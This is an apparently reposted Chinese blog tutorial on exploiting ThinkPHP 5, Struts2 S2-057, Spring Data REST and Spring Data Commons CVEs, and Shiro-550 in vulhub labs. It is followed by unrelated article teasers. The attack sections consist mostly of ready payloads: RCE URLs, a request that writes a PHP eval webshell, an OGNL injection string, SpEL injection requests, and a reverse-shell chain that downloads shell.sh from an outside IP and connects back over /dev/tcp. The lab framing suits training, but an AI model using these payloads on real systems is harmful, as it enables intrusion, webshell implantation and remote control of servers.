【常见框架漏洞】ThinkPHP、struts2、Spring、Shiro

news2025/4/6 1:08:25

一、ThinkPHP

1.环境配置

靶场:
	vulhub/thinkphp/5-rce
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/index.php

2.远程命令执行

执行whoami命令

poc:
http://47.121.211.205:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

成功执行whoami命令

3.远程代码执行

执行phpinfo命令

POC:
http://47.121.211.205:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

4.GetShell

写入一句话木马到1.php

POC:
http://47.121.211.205:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST[cmd]);?>' > 1.php

使用hacker插件执行phpinfo 成功执行说明成功写入木马

二、struts2

1.环境配置

靶场:
	vulhub/struts2/s2-057
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/struts2-showcase

2.漏洞验证

访问http://47.121.211.205:8080/struts2-showcase/${(123+123)}/actionChain1.action

发现中间的数字位置进行相加 说明命令被执行了  

3.漏洞利用

执行以下POC 可以查看whoami命令执行结果

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

三、Spring

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

1.环境配置

靶场:
	vulhub/spring/CVE-2017-8046
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/customers/1

2.漏洞利用

修改请求方法为PATCH 并创建一个success文件(经过ascii码进行转换)

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value":"vulhub" }]

3.进入容器查看是否创建成功

docker exec -it 容器id /bin/bash

Spring 代码执行 (CVE-2018-1273)

1.环境配置

靶场:
	vulhub/spring/CVE-2018-1273
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/users

2.漏洞利用

填写注册信息然后抓包 添加POC信息 创建一个zcc文件

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

3.进入容器查看是否创建成功

docker exec -it 容器id /bin/bash

4.反弹shell

在服务器创建一个shell.sh文件 文件内容为反弹shell的命令

bash -i >& /dev/tcp/47.121.211.205/8888 0>&1

在注册页面抓包 然后让靶机远程下载我们编辑好的shell.sh文件

远程下载shell.sh脚本命令

/usr/bin/wget -qO /tmp/shell.sh http://47.121.211.205/shell.sh

查看shell.sh是否被下载

执行脚本文件

/bin/bash /tmp/shell.sh

监听端口

nc -lvvp 8888

成功反弹shell

四、Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

1.环境配置

靶场:
	vulhub/shiro/CVE-2016-4437
	docker-compose up -d #启动环境
访问靶场:http://ip:8080

2.漏洞验证

使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;

看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架:

3.漏洞利用

使用工具进行命令执行

成功执行whoami命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

物联网(IoT)中基于深度学习的入侵检测系统的综合综述

这篇论文是一篇全面的综述&#xff0c;标题为“A comprehensive survey on deep learning-based intrusion detection systems in Internet of Things (IoT)”&#xff0c;作者是Qasem Abu Al-Haija和Ayat Droos。论文主要探讨了在物联网(IoT)环境中基于深度学习的入侵检测系统…

Python自动化-操作Excel

在数据处理和报表生成过程中&#xff0c;Excel是一个经常使用的工具。Python中的openpyxl库可以让您通过编程方式读取、写入和操作Excel文件&#xff0c;从而实现自动化的数据处理和报表生成。本文将介绍openpyxl库的基本用法和常见操作&#xff0c;帮助您快速上手使用Python处…

蘑菇成熟待收检测系统源码分享

蘑菇成熟待收检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer…

TQRFSOC开发板47DR PS端DDR4测试

本例程实现对PS端的DDR4进行测试&#xff0c;包括内存读写测试&#xff0c;读写眼图测试等。 创建vivado项目与vitis平台项目的流程与hello world相同&#xff0c;我就不在此处重复演示&#xff0c;也可以在hello world 项目基础上添加应用程序项目。在vitis中创建平台项目后新…

隐私计算相关知识

WOE&#xff08; Weight of Evidence&#xff09;编码 一种在数据分析&#xff0c;尤其是信用评分和欺诈检测等领域中常用的特征编码方法。它的主要目的是将分类变量转换为数值变量&#xff0c;从而使得模型能够更好地理解类别与目标变量之间的关系 IV&#xff08; Informatio…

二.python基础语法

目录 1.第一个python实例 2.python编码规范 2.1.编写规则 2.2.命名规范 2.3. 空格 2.4. 缩进 2.5. 注释 3.python关键字和标识符 3.1.标识符 3.2.关键字 4.python变量 4.1. 定义变量 4.2. 变量类型是可变的 4.3. 多个变量指向同一个值 5.python基本数据类型 5.…

通过组态王在ARMxy边缘计算网关上实现设备集成

随着工业4.0和智能制造理念的普及&#xff0c;设备集成已成为提高生产效率、优化资源配置的重要手段之一。ARMxy系列中的BL340边缘计算网关&#xff0c;以其强大的处理能力和丰富的接口资源&#xff0c;成为实现设备集成的理想平台。 1. BL340边缘计算网关概述 BL340系列是AR…

rce漏洞进阶-玩法思路-绕过姿态

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文主要是整理rce的一些绕过&#xff0c;以及思路等 用于实战中对着测漏洞用 偏进阶&#xff0c;不涉及基础的漏洞原理等内容 玩法思路 代码执行转化命令执行 遇到代码执行漏洞&#xff0c;我们可以传递syste…

计算机毕业设计选题推荐-基于python+Django的全屋家具定制服务平台

精彩专栏推荐订阅&#xff1a;在下方主页&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f496;&#x1f525;作者主页&#xff1a;计算机毕设木哥&#x1f525; &#x1f496; 文章目录 一、全屋家具定制…

操作系统 | 学习笔记 | | 王道 | 5.3 磁盘和固态硬盘

5.3 磁盘和固态硬盘 5.3.1 磁盘 磁盘结构 磁盘&#xff1a;磁盘的表面由一些磁性物质组成&#xff0c;可以用这些磁性物质来记录二进制数据 磁道&#xff1a;磁盘的盘面被划分成一个个磁道。这样的一个“圈”就是一个磁道 扇区&#xff1a;一个磁道又被划分成一个个扇区&am…

医院信息化运维监控:确保医疗系统的稳定与安全

在当今数字化时代&#xff0c;医院的信息化水平直接关系到医疗服务的效率和质量。随着医疗信息化的不断推进&#xff0c;医院对信息化运维监控的需求也日益增强。特别是IT软硬件资源监控和机房动环监控&#xff0c;它们在保障医院信息系统稳定运行中发挥着至关重要的作用。 首先…

在windows上使用vs code调试Rust程序

视频参考&#xff1a;https://www.youtube.com/watch?vTlfGs7ExC0A 前置条件 需要安装的软件&#xff1a; rustvs codeMinGW 或者其它能在 Windows 平台上运行 gdb、gcc 和 g 的软件。 需要安装的插件&#xff1a; rust-analyzer CodeLLDB 然后&#xff0c;在 vs code 中…

iPhone锁屏密码忘了怎么解锁?轻松解锁攻略来了

在日常生活中&#xff0c;智能手机已成为我们不可或缺的伙伴。其中&#xff0c;iPhone以其出色的性能和优雅的设计&#xff0c;赢得了全球用户的喜爱。然而&#xff0c;即便是最忠实的iPhone用户&#xff0c;也可能会遇到一些棘手的问题&#xff0c;比如忘记了锁屏密码。面对这…

韦唯湾区升明月演绎经典 震撼演绎传递爱与力量

9月22日晚&#xff0c;《“湾区升明月”2024大湾区电影音乐晚会》为全球观众送上了一场融合电影艺术与音乐魅力的艺术狂欢&#xff0c;晚会中不光有对不同代际经典影视金曲、经典歌曲的全新演绎&#xff0c;更是汇集了来自海峡两岸暨港澳地区的电影人、音乐人、奥运健儿代表。中…

【AI画图】stable-diffusion-webui学习之一《安装部署》

简介 Stable Diffusion是2022年发布的深度学习文本到图像生成模型&#xff0c;它是一种潜在扩散模型&#xff0c;它由创业公司Stability AI与多个学术研究者和非营利组织合作开发。目前的SD的源代码和模型都已经开源&#xff0c;在Github上由AUTOMATIC1111维护了一个完整的项目…

git报错:无法读取远程分支 ‘origin‘ does not appear to be a git repository

问题分析 push上传的时候本地分支和远程分支断开连接 所以重新链接即可 排查问题 1. 查看是否有分支&#xff0c;检查分支是否正确 git branch -v 2. 查看连接是否断开&#xff0c;断开无内容展示 查看远程仓库详细信息&#xff0c;可看到仓库地址 git remote -v 解决…

k8s中pod的创建过程和阶段状态

管理k8s集群 kubectl k8s中有两种用户 一种是登录的 一种是/sbin/nologin linux可以用密码登录&#xff0c;也可以用证书登录 k8s只能用证书登录 谁拿到这个证书&#xff0c;谁就可以管理集群 在k8s中&#xff0c;所有节点都被网络组件calico设置了路由和通信 所以pod的ip是可以…

如何在拥挤的应用商店中脱颖而出

在现在移动应用程序已成为我们日常生活中必不可少的一部分&#xff0c;从通信和娱乐到财务和健康管理&#xff0c;为各种问题提供解决方案。然而&#xff0c;Google Play 和 App Store 等应用商店的竞争每年都变得更加激烈。数以百万计的应用程序争夺用户的注意力&#xff0c;仅…

车间里应用到了不同品牌的PLC,这还能进行无线通讯吗?

自第一台PLC在GM公司汽车生产线上首次应用成功以来&#xff0c;PLC凭借其方便性、可靠性以及低廉的价格得到了广泛的应用。在现代化工厂中&#xff0c;除厂级PLC系统外&#xff0c;还存在很多独立的子系统。比如&#xff0c;各个生产车间的PLC系统、或同一生产车间的不同生产流…

长方形+ 下三角形的图形 css

<div class"transform">42.48%</div>//转化.transform {position: relative;width: 70px;height: 26px;background-color: #dcdfe6; /* 长方形的颜色 */display: flex;justify-content: center;align-items: center;font-family: PingFangTC-Medium;font…